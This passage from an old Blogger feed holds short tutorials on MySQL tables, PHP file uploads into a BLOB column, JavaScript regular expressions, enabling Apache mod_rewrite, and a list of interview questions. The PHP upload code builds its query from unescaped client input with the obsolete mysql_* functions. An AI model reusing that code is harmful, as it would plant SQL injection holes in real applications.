/&gt;&lt;/span&gt;MyISAM uses table-level locking. When a row is inserted or updated, all other changes to that table are held up until that request has been completed.&lt;br /&gt;&lt;br /&gt;It is not always easy to prove whether this will cause problems for your web application but, in general, if you are performing more inserts/updates than selects, MyISAM may not be the best table type to choose.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6595412957634551122?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6595412957634551122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/pros-and-cons-of-mysql-myisam-tables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6595412957634551122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6595412957634551122'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/pros-and-cons-of-mysql-myisam-tables.html' title='Pros and Cons of MySQL MyISAM Tables'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1369934933438916619</id><published>2009-03-30T10:12:00.000-07:00</published><updated>2009-03-30T10:13:42.217-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Upload files in MySQL Table</title><content type='html'>Using PHP to upload files into MySQL database sometimes needed by some web application. For instance for storing pdf documents or images to make som kind of online briefcase (like Yahoo briefcase).&lt;br /&gt;&lt;br /&gt;For the first step, let's make the table for the upload files. The table will consist of.&lt;br /&gt;&lt;br /&gt;id : Unique id for each file&lt;br /&gt;name : File name&lt;br /&gt;type : File content type&lt;br /&gt;size : File size&lt;br /&gt;content : The file itself&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;For column content we'll use BLOB data type. BLOB is a binary large object that can hold a variable amount of data. MySQL have four BLOB data types, they are :&lt;br /&gt;&lt;br /&gt;TINYBLOB&lt;br /&gt;BLOB&lt;br /&gt;MEDIUMBLOB&lt;br /&gt;LONGBLOB&lt;br /&gt;Since BLOB is limited to store up to 64 kilobytes of data we will use MEDIUMBLOB so we can store larger files ( up to 16 megabytes ).&lt;br /&gt;&lt;br /&gt;CREATE TABLE upload (&lt;br /&gt;id INT NOT NULL AUTO_INCREMENT,&lt;br /&gt;name VARCHAR(30) NOT NULL,&lt;br /&gt;type VARCHAR(30) NOT NULL,&lt;br /&gt;size INT NOT NULL,&lt;br /&gt;content MEDIUMBLOB NOT NULL,&lt;br /&gt;PRIMARY KEY(id)&lt;br /&gt;);&lt;br /&gt;Uploading a file to MySQL is a two step process. First you need to upload the file to the server then read the file and insert it to MySQL.&lt;br /&gt;&lt;br /&gt;For uploading a file we need a form for the user to enter the file name or browse their computer and select a file. The input type="file" is used for that purpose.&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if(isset($_POST['upload']) &amp;&amp; $_FILES['userfile']['size'] &gt; 0)&lt;br /&gt;{&lt;br /&gt;$fileName = $_FILES['userfile']['name'];&lt;br /&gt;$tmpName  = $_FILES['userfile']['tmp_name'];&lt;br /&gt;$fileSize = $_FILES['userfile']['size'];&lt;br /&gt;$fileType = $_FILES['userfile']['type'];&lt;br /&gt;&lt;br /&gt;$fp      = fopen($tmpName, 'r');&lt;br /&gt;$content = fread($fp, filesize($tmpName));&lt;br /&gt;$content = addslashes($content);&lt;br /&gt;fclose($fp);&lt;br /&gt;&lt;br /&gt;if(!get_magic_quotes_gpc())&lt;br /&gt;{&lt;br /&gt;    $fileName = addslashes($fileName);&lt;br /&gt;}&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$query = "INSERT INTO upload (name, size, type, content ) ".&lt;br /&gt;"VALUES ('$fileName', '$fileSize', '$fileType', '$content')";&lt;br /&gt;&lt;br /&gt;mysql_query($query) or die('Error, query failed'); &lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;&lt;br /&gt;echo "&lt;br&gt;File $fileName uploaded&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1369934933438916619?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1369934933438916619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/upload-files-in-mysql-table.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1369934933438916619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1369934933438916619'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/upload-files-in-mysql-table.html' title='Upload files in MySQL Table'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4796167077965168905</id><published>2009-03-30T10:03:00.000-07:00</published><updated>2009-03-30T10:08:19.900-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>Regular Expressions with Javascript</title><content type='html'>A while ago, when I was just getting used to this insanely complicated stuff, I posted a brief introduction to the world of regular expressions. I’m glad to say that, since then, I have learnt a bunch more about them and how you can make use of them within JavaScript. So, here goes:&lt;br /&gt;&lt;br /&gt;In JavaScript, there are four string operations that will accept a regular expression as an argument:&lt;br /&gt;&lt;br /&gt;String.match(), - this method only accepts a regexp as the first argument. It’s usually used to extract specific parts of a string or to test whether a string matches a regular expression.&lt;br /&gt;&lt;br /&gt;String.replace(), - this method accepts either a string or a regular expression as its first argument, and accepts either another string or a function as its second argument. It’s usually used to find and replace certain parts of a string.&lt;br /&gt;&lt;br /&gt;String.split(), - this method accepts either a string or a regular expression as its first arguments, the second argument is used (rarely) to signify a limit for the split operation. It’s used to split a string into an array based on the regular expression and/or string passed as the first parameter.&lt;br /&gt;&lt;br /&gt;String.search(), - this method accepts a regular expression as its first and only argument. It’s used to find the index of a regex match within a string.&lt;br /&gt;The RegExp object has its own methods:&lt;br /&gt;&lt;br /&gt;RegExp.exec(), - this method is exactly the same as the String.match() method, the only difference being that you pass the string as the argument and the method is run as a member of the regular expression that you’re using to search the string.&lt;br /&gt;&lt;br /&gt;RegExp.test(), - this method is similar to the above exec, but instead of returning the match found it will return either true or false dependent on whether or not its found a match.&lt;br /&gt;&lt;br /&gt;Correction: Luke pointed out in the comments that String.match and RegExp.exec are slightly different in that the latter will return capture groups plus the first match if a global flag is used, while the former (match) method won’t return any capture groups; only the full matches.&lt;br /&gt;&lt;br /&gt;Because I know no better way to begin, let’s start with a basic example:&lt;br /&gt;&lt;br /&gt;Validating user input&lt;br /&gt;One of the most common uses for regular expressions on the client-side is validating user input. Let’s say we need to validate a product ID… We’ve had to leave it up to the user to type it in because there are over 5000 products. All product ID’s start with either the letter ‘M’ or ‘D’ followed by 4 or 5 digits and then an additional trailing letter to signify upgrades and variations. Validating such an input would be perfectly possible without using a single regular expression, as shown here:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var usersProductID = 'M5060i';&lt;br /&gt; &lt;br /&gt;function isLetter(character) {&lt;br /&gt;    return ('abcdefghijklmnopqrstuvwxyz').indexOf(character.toLowerCase()) &gt; -1;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function isValidKey(character) {&lt;br /&gt;    return ('md').indexOf(character.toLowerCase()) &gt; -1;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;var isValidProductID = (&lt;br /&gt;        isValidKey(usersProductID.substr(0,1))&lt;br /&gt;        &amp;&amp; (!isNaN(usersProductID.substr(1,4)) || !isNaN(usersProductID.substr(1,5)))&lt;br /&gt;        &amp;&amp; isLetter(usersProductID.substr(usersProductID.length-1))&lt;br /&gt;    );&lt;br /&gt; &lt;br /&gt;alert (isValidProductID); // Boolean, true or false...&lt;br /&gt;&lt;br /&gt;Now, with a regular expression:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var usersProductID = 'M5060i';&lt;br /&gt; &lt;br /&gt;var isValidProductID = /^[md][0-9]{4,5}[a-z]$/i.test(usersProductID);&lt;br /&gt;Hopefully the above example has demonstrated the necessity and importance of regular expressions in JavaScript (if you weren’t already convinced). Here’s a commented version of our regular expression:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;^        - Matches the start of a string&lt;br /&gt;[md]     - Character class that matches 'm' or 'd'&lt;br /&gt;[0-9]    - Character class that matches any digit &lt;br /&gt;{4,5}    - Repeat last character ([0-9]) 4 OR 5 times&lt;br /&gt;[a-z]    - Character class that matches any letter&lt;br /&gt;$        - Matches the end of a string&lt;br /&gt;In JavaScript there are two ways of defining a regular expression, using its constructor, or literally:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;// Constructor:&lt;br /&gt;var myRegexp = new RegExp('^[md][0-9]{4,5}[a-z]$', 'i');&lt;br /&gt;// Literal:&lt;br /&gt;var myRegexp = /^[md][0-9]{4,5}[a-z]$/i;&lt;br /&gt;&lt;br /&gt;The only situation in which you’d want to use the constructor would be when you need to add varying data to the regular expression. If it’s constant and does not change then stick with the RegExp literal (/regex goes here/)&lt;br /&gt;&lt;br /&gt;The ‘i’ that you see is a flag. Flags are either passed as the second argument to the constructor or, if you’re using the literal syntax, they’re specified beyond the right-hand delimiter (forward slash) of the expression. The ‘i’ flag in particular means ‘ignore case’, so an ‘a’ in the regular expression will match both ‘a’ and ‘A’ in the string that’s being tested. The available flags include:&lt;br /&gt;&lt;br /&gt;i, - “ignore case” - the case (uppercase/lowercase) of all letters within the string will be ignored during testing.&lt;br /&gt;g, - “global search” - the search is carried out across the entire string, regardless of whether a match has already been found.&lt;br /&gt;m, - “multiline search” - the regular expression will match over multiple lines.&lt;br /&gt;String extraction&lt;br /&gt;&lt;br /&gt;I couldn’t come up with a good name; “string extraction” seems suitable, although it sounds a bit dodgy if not in the context of programming. Anyway, back to the point: regular expressions are not only useful in validation; you can extract very precise pieces of information from string data. Let’s say, for example, we have to extract all numbers from a massive string and produce an array from them:&lt;br /&gt;&lt;br /&gt;Since the String.match() method returns an array of all the matches this is incredibly easy:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var theString = 'Dr. Average has 78 patients, and only 12 of them think he\'s a good doctor!';&lt;br /&gt;var allNumbers = theString.match(/\d+/g); // \d is just a shortcut to [0-9]&lt;br /&gt; &lt;br /&gt;// allNumbers = [ 78, 12 ]&lt;br /&gt;Notice that we’ve used the g (global) flag, without it we’d only get one match. The only problem with this is that it matches numbers in the middle of other words, like “foo299bar” - even though this might be a rare occurance it’s still important to take it into account. We can eliminate this problem by specifying, in our regular expression, that the digit characters should come straight after a word boundery, i.e. the position between a space and the start of a word (in regular expressions a word is anything that contains letters and/or digits):&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var theString = 'Dr. Aver3age has 78 pa555tients, and only 12 of them thi6nk he\'s a good doctor!';&lt;br /&gt;var allNumbers = theString.match(/\b\d+\b/g); // \b stands for boundary&lt;br /&gt; &lt;br /&gt;// allNumbers = [ 78, 12 ]&lt;br /&gt;Even though the string is full of words interspersed with numbers the resulting array still only has ‘78′ and ‘12′ in it; exactly what we’re after!&lt;br /&gt;Extracting URLs from a string:&lt;br /&gt;&lt;br /&gt;A more realistic application of this technique might be when searching for URLs within a string. URLs can contain a whole variety of characters and checking the validity of a URL is a huge task; our regular expression is going to be a “dumb” one because we haven’t got the time to study the intricacies of the URI specification. Here’s the string we’ve got to work with:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var theString = 'Hey! Please visit http://google.com and http://www.sitepoint.com';&lt;br /&gt;The first thing we want to look for is ‘http://’ so that can be the start of our regular expression:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var urlRegex = /http:\/\//g;&lt;br /&gt;Since forward slashes are used to delimit an expression we need to escape those which are to be taken literally (as actual characters). We can improve this by adding support for some other protocols:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var urlRegex = /(f|ht)tps?:\/\//g;&lt;br /&gt;Now it supports http://, https://, ftp:// and ftps://. I think that’s enough to get us started…&lt;br /&gt;Now, like I said, this is going to be a dumb regular expression and so it won’t be suitable for many situations. A more “intelligent” one would specify all valid characters in order. Next we want to look for a space, i.e. where the URL probably ends:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var urlRegex = /(f|ht)tps?:\/\/.+?\s/g;&lt;br /&gt;I’ve just added .+?\s which translates to: “One or more of any character but as soon as a space is encountered, stop!”&lt;br /&gt;If we try it as it currently stands here’s the result we could get:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;theString.match(urlRegex); // [ "http://google.com " ]&lt;br /&gt;So we’ve only matched the first URL. The second URL isn’t being matched because it’s at the end of the string and so there is no space (\s), we can test for this with the dollar symbol ($ will match if at the end of a string):&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var urlRegex = /(f|ht)tps?:\/\/.+?(\s|$)/g; // matches \s OR $ at the end...&lt;br /&gt;&lt;br /&gt;If we try it now, here’s what we get:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;theString.match(urlRegex); // [ "http://google.com ", "http://sitepoint.com" ]&lt;br /&gt;&lt;br /&gt;We can get rid of any trailing spaces using the ‘replace’ method:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;var matches = theString.match(urlRegex);&lt;br /&gt;for (var i = 0, len = matches.length; i &lt; len; i++) {&lt;br /&gt;    matches[i].replace(/^\s+|\s+$/g, '');&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;// The above code will find and replace all spaces near&lt;br /&gt;// the beginning and/or end of the string. (i.e. trimming)&lt;br /&gt;Find &amp; replace with style…&lt;br /&gt;The most basic application of the ‘replace’ String operation is passing two strings, one will replace the other:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;"I'm tired".replace('tired', 'sleeping'); // "I'm sleeping"&lt;br /&gt;What’s cool about it is that you can also use regular expressions to search for the item you want to replace:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;"I wonder how I can remove (these brackets)...".replace(/\((.+?)\)/, '$1');&lt;br /&gt;// Removes the brackets&lt;br /&gt;You can reference groups using ‘$1′, ‘$2′, ‘$3′ etc. in the replacement string. Groups are specified in regular expressions using brackets. The above regular expression is easier to understand when laid out:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;\(     - Literal left bracket&lt;br /&gt;(.+?)  - Group containing any character&lt;br /&gt;            - '?' makes it non-greedy, so it will stop when&lt;br /&gt;              the next character is encounted...&lt;br /&gt;\)     - Literal right bracket&lt;br /&gt;So, ‘$1′ in the replacement string is referencing all characters found between the brackets. In some circles these replacement keys ($1, $2 etc.) are known as “backreferences”.&lt;br /&gt;Another incredibly useful thing about the ‘replace’ method is that you can pass a function as its second parameter; this function will be run each time a match is found within the string:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;"-moz-border-radius".replace(/-\w/g, function(match){&lt;br /&gt;    return match.replace('-','').toUpperCase();&lt;br /&gt;});&lt;br /&gt;// Returns MozBorderRadius&lt;br /&gt; &lt;br /&gt;// Made into a function:&lt;br /&gt; &lt;br /&gt;function camelCaseCSS(property) {&lt;br /&gt;    return property.replace(/-\w/g, function(match){&lt;br /&gt;        // return match.replace('-','').toUpperCase(); // Old way&lt;br /&gt;        return match.charAt(1).toUpperCase(); // New way, suggested by Luke&lt;br /&gt;    });&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;What we’ve got is actually a pretty useful function that converts CSS property names to their DOM counterparts. E.g:&lt;br /&gt;&lt;br /&gt;JAVASCRIPT:HIDE CODE&lt;br /&gt;camelCaseCSS('background-color'); // =&gt; backgroundColor&lt;br /&gt;camelCaseCSS('font-family');      // =&gt; fontFamily&lt;br /&gt;camelCaseCSS('line-height');      // =&gt; lineHeight&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4796167077965168905?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4796167077965168905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/regular-expressions-with-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4796167077965168905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4796167077965168905'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/regular-expressions-with-javascript.html' title='Regular Expressions with Javascript'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2522211451273797583</id><published>2009-03-30T10:00:00.000-07:00</published><updated>2009-03-30T10:01:46.320-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>Query Cacing machanism in mysqlnd</title><content type='html'>I hope you know what mysqlnd is. If not, then.... mysqlnd is the replacement for libmysql in the PHP world. Starting from PHP 5.3 you might use mysqlnd to connect to your MySQL Server(s) without installing libmysql on your web servers/client hosts. mysqlnd also promises reduced memory usage compared to the scenario when libmysql is used and should be at least as quick as libmysql. To be able to beat libmysql and create incentives to let you migrate to mysqlnd we had brainstorming sessions. We came with a list of possible features.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Here is a short list&lt;br /&gt;&lt;/span&gt;PS handle cache&lt;br /&gt;Asynchronous mysql_query calls&lt;br /&gt;Background fetching&lt;br /&gt;Query caching&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2522211451273797583?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2522211451273797583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/query-cacing-machanism-in-mysqlnd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2522211451273797583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2522211451273797583'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/query-cacing-machanism-in-mysqlnd.html' title='Query Cacing machanism in mysqlnd'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4556146157647381130</id><published>2009-03-30T09:51:00.000-07:00</published><updated>2009-03-30T09:56:58.487-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WAMP'/><category scheme='http://www.blogger.com/atom/ns#' term='XAMPP'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>How to enable mod_rewrite module in apache?</title><content type='html'>&lt;span style="font-weight:bold;"&gt;How to check weather mod_rewrite module is enabled or not?&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Well there are lots of technique to check this but I’ll show you a very simple technique to check weather mod_rewrite module is enabled or not in you web server.&lt;br /&gt;1) Type &lt;?php phpinfo(); ?&gt; in a php file and save it and run that file in the server.&lt;br /&gt;2) And now you can the list of information, just search the word “mod_rewrite” from the browser’s search menu&lt;br /&gt;3) If it is found under the “Loaded Modules” section then this module is already loaded as you see in the picture below, otherwise you need to go to the next step for enabling mod_rewrite module.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How to enable mod_rewrite module in apache in xampp, wamp?&lt;br /&gt;&lt;/span&gt;Now, I’ll show you how to enable how to mod_rewrite module in apache installed under windows environment.&lt;br /&gt;1) Find the “httpd.conf” file under the “conf” folder inside the Apache’s installation folder.&lt;br /&gt;2) Find the following line “#LoadModule rewrite_module modules/mod_rewrite.so” in the “httpd.conf” file.You can do this easily by searching the keyword “mod_rewrite” from find menu.&lt;br /&gt;3) Remove the “#” at the starting of the line, “#” represents that line is commented.&lt;br /&gt;4) Now restart the apache server.&lt;br /&gt;5) You can see now “mod_rewrite” in the Loaded Module section while doing “phpinfo()”.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4556146157647381130?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4556146157647381130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-enable-modrewrite-module-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4556146157647381130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4556146157647381130'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-enable-modrewrite-module-in.html' title='How to enable mod_rewrite module in apache?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2567724867672830206</id><published>2009-03-30T09:48:00.000-07:00</published><updated>2009-03-30T09:50:26.012-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Interview Questions'/><title type='text'>YAHOO Interview - Level 1</title><content type='html'>Are you going to appear in YAHOO Interview? Here are something useful to you:&lt;br /&gt;&lt;br /&gt;PHP&lt;br /&gt;----&lt;br /&gt;1. Differences between sessions and cookies&lt;br /&gt;2. Disadvantage of sessions&lt;br /&gt;3. How to upload file using Get method&lt;br /&gt;4. What is the max size of post method&lt;br /&gt;5. How to store sessions in database&lt;br /&gt;6. "a_b_2_3__5_ 6_8_a_b_2_ 4" given as a string Explode it&lt;br /&gt;using Underscrore and find out unique alphanumeric existences and &lt;br /&gt;their no.of occurences&lt;br /&gt;7. Explain DB.ini file configuration in PHP&lt;br /&gt;8. Registar_globals&lt;br /&gt;9. connect,pconnet differences&lt;br /&gt;10. setting php configurations dynamically&lt;br /&gt;11. Soap Vs Rest&lt;br /&gt;12. Error handling when an object calls an function which is not &lt;br /&gt;existing in class&lt;br /&gt;13. Implementation of Destructors in PHP4&lt;br /&gt;14. In php5, in a class&lt;br /&gt;__construct( ) is one method and another method name same as class name&lt;br /&gt;Which will be called when object is intialized&lt;br /&gt;15. Writing Code snippet for Stack implementation using OOPs.&lt;br /&gt;&lt;br /&gt;Javascript&lt;br /&gt;-----------&lt;br /&gt;1. OOPs(inheritence and polymorphism) implementation in Javascript&lt;br /&gt;2. Implement Trim functionality in javascript&lt;br /&gt;3. Explain different types of objects(Native ,Host and user Defined) in &lt;br /&gt;javascript&lt;br /&gt;4. Try to extend Trim() method on String object&lt;br /&gt;5. Explain all parameters of Window.open( )&lt;br /&gt;6. How to avoid Permission denied error when child window accesses &lt;br /&gt;parent window's elements.&lt;br /&gt;7. Enabling and disabling Client's cookie settings using javascript&lt;br /&gt;8. Write code snippet for managing the size of text area so that it will &lt;br /&gt;not get scrollbar&lt;br /&gt;(with DOM and without DOM)&lt;br /&gt;&lt;br /&gt;HTML&lt;br /&gt;----&lt;br /&gt;1. Span vs Div&lt;br /&gt;2. InnerHTML explanation&lt;br /&gt;3. Form tag properties while uploading file&lt;br /&gt;4. Frames vs Iframes&lt;br /&gt;5. W3standards&lt;br /&gt;6. How do you implement Search engine optimization Using HTML&lt;br /&gt;&lt;br /&gt;CSS&lt;br /&gt;----&lt;br /&gt;1. #txt and .txt diffences&lt;br /&gt;2. Order of preference for differnt types of CSS(inline,external etc.)&lt;br /&gt;3. How to avoid scrollbar for textarea&lt;br /&gt;&lt;br /&gt;Database&lt;br /&gt;---------&lt;br /&gt;1. Explain SQL Query processing&lt;br /&gt;2. Explain Analyze option&lt;br /&gt;3. Getting 10 to 20 records in mysql&lt;br /&gt;4. Query to alter the data type of a field&lt;br /&gt;5. Backup and Restore of Mysql database&lt;br /&gt;6. Mysql 4 vs Mysql 5&lt;br /&gt;7. Normal Forms&lt;br /&gt;8. Employee table(empid, name,deptid, sal)&lt;br /&gt;Query to retrive the details of employees who are having sal more &lt;br /&gt;than the average of their dept sal&lt;br /&gt;9. Inner join Vs Outer Join&lt;br /&gt;10. Unique key vs. Primary key&lt;br /&gt;11. Triggers in Mysql&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;------&lt;br /&gt;1. How to monitor currently running processes in linux/unix&lt;br /&gt;2. How to send a process to background[Atleast Three commands]&lt;br /&gt;3. How to change the priority of processes&lt;br /&gt;4. How to see the lists of services running currently&lt;br /&gt;5. How to stop an user to connection to linux with ssh&lt;br /&gt;6. How to reset root password&lt;br /&gt;7. Installing PHP,apache and Database&lt;br /&gt;8. How do you add modules to php(like gdlibrary) in windows and linux&lt;br /&gt;9. How to see the ip address of linux system as normal user&lt;br /&gt;10. what are the tools you use for file upload and ssh connection for linux&lt;br /&gt;&lt;br /&gt;Apache&lt;br /&gt;------&lt;br /&gt;1. Virtual hosting&lt;br /&gt;2. How to run apache on 2 or more ports at a time&lt;br /&gt;3. What is directory index&lt;br /&gt;4. How do you control no.of connections to webserver through apache settings&lt;br /&gt;5. What is the default port of apache&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2567724867672830206?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2567724867672830206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/yahoo-interview-level-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2567724867672830206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2567724867672830206'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/yahoo-interview-level-1.html' title='YAHOO Interview - Level 1'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5457385515981588274</id><published>2009-03-30T09:44:00.000-07:00</published><updated>2009-03-30T09:47:09.649-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Cascading Style Sheets (CSS) Made Easy for Freshers</title><content type='html'>Cascading Style Sheets (CSS for short) is a hot topic. However some people have been putting it off because of its wired name. Don't be fooled by the name, it's rather easy eventually. In this article, you'll see the simplicity of CSS and realize that making style changes to your web pages is not only quick and easy, but also fun.&lt;br /&gt;&lt;br /&gt;Create a file named style.css, or whatever you want to name it with .css as extension. Upload the style.css file to your server.&lt;br /&gt;&lt;br /&gt;Now, in the source HTML code of your web pages, put this 